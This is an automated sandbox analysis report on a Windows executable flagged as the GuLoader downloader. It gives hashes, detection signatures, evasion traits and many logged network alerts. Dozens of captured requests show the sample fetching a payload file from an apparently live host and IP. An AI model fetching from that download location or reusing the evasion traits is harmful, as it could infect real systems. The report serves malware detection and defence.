Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
Analysis ID:	1520710
MD5:	09646b466d4203f0a605120c10248654
SHA1:	e1f6e1bec33b598963a6e017d41e28b72a6e9bbd
SHA256:	7110772ac28b158130afc68ae0f00bdca6832cc826f7f2fbf38fd373feb16b2f
Infos:

Detection

GuLoader

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Switches to a custom stack to bypass stack traces

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe (PID: 532 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe" MD5: 09646B466D4203F0A605120C10248654)

SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe (PID: 6976 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe" MD5: 09646B466D4203F0A605120C10248654)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.76719471404.0000000003592000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.72566552229.0000000006D62000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T18:58:47.751610+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49760	185.86.211.137	80	TCP
2024-09-27T18:58:59.185256+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49762	185.86.211.137	80	TCP
2024-09-27T18:59:10.556906+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49764	185.86.211.137	80	TCP
2024-09-27T18:59:21.935722+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49766	185.86.211.137	80	TCP
2024-09-27T18:59:33.325398+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49768	185.86.211.137	80	TCP
2024-09-27T18:59:44.705552+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49770	185.86.211.137	80	TCP
2024-09-27T18:59:56.094493+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49772	185.86.211.137	80	TCP
2024-09-27T19:00:07.496901+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49774	185.86.211.137	80	TCP
2024-09-27T19:00:18.916161+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49776	185.86.211.137	80	TCP
2024-09-27T19:00:30.342515+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49778	185.86.211.137	80	TCP
2024-09-27T19:00:41.760682+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49780	185.86.211.137	80	TCP
2024-09-27T19:00:53.143044+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49782	185.86.211.137	80	TCP
2024-09-27T19:01:04.545698+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49784	185.86.211.137	80	TCP
2024-09-27T19:01:15.928596+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49786	185.86.211.137	80	TCP
2024-09-27T19:01:27.349199+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49788	185.86.211.137	80	TCP
2024-09-27T19:01:38.729835+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49790	185.86.211.137	80	TCP
2024-09-27T19:01:50.123296+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49792	185.86.211.137	80	TCP
2024-09-27T19:02:01.456330+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49794	185.86.211.137	80	TCP
2024-09-27T19:02:12.781141+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49796	185.86.211.137	80	TCP
2024-09-27T19:02:24.132559+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49798	185.86.211.137	80	TCP
2024-09-27T19:02:35.473915+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49800	185.86.211.137	80	TCP
2024-09-27T19:02:46.806982+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49802	185.86.211.137	80	TCP
2024-09-27T19:02:58.208496+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49804	185.86.211.137	80	TCP
2024-09-27T19:03:09.605737+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49806	185.86.211.137	80	TCP
2024-09-27T19:03:21.004755+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49808	185.86.211.137	80	TCP
2024-09-27T19:03:32.395677+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49810	185.86.211.137	80	TCP
2024-09-27T19:03:43.781785+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49812	185.86.211.137	80	TCP
2024-09-27T19:03:55.177444+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49814	185.86.211.137	80	TCP
2024-09-27T19:04:06.538561+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49816	185.86.211.137	80	TCP
2024-09-27T19:04:17.913613+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49818	185.86.211.137	80	TCP
2024-09-27T19:04:29.253065+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49820	185.86.211.137	80	TCP
2024-09-27T19:04:40.607684+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49822	185.86.211.137	80	TCP
2024-09-27T19:04:51.951125+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49824	185.86.211.137	80	TCP
2024-09-27T19:05:03.272566+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49826	185.86.211.137	80	TCP
2024-09-27T19:05:14.601048+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49828	185.86.211.137	80	TCP
2024-09-27T19:05:25.950185+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49830	185.86.211.137	80	TCP
2024-09-27T19:05:37.303813+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49832	185.86.211.137	80	TCP
2024-09-27T19:05:48.669672+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49834	185.86.211.137	80	TCP
2024-09-27T19:06:00.010143+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49836	185.86.211.137	80	TCP
2024-09-27T19:06:11.334816+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49838	185.86.211.137	80	TCP
2024-09-27T19:06:22.679871+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49840	185.86.211.137	80	TCP
2024-09-27T19:06:34.009848+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49842	185.86.211.137	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

ReversingLabs: Detection: 50%

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 185.86.211.137:443 -> 192.168.11.20:49761 version: TLS 1.2

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_0040687E FindFirstFileW,FindClose,	0_2_0040687E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_00405C2D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C2D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49764 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49788 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49774 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49790 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49766 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49762 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49760 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49776 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49768 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49778 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49792 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49770 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49810 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49794 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49806 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49816 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49820 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49800 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49782 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49826 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49828 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49824 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49840 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49814 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49772 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49830 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49780 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49834 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49784 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49836 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49786 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49802 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49796 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49842 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49804 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49798 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49808 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49812 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49832 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49818 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49838 -> 185.86.211.137:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49822 -> 185.86.211.137:80

Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: bestpack.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /slo.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: bestpack.eeCache-Control: no-cache
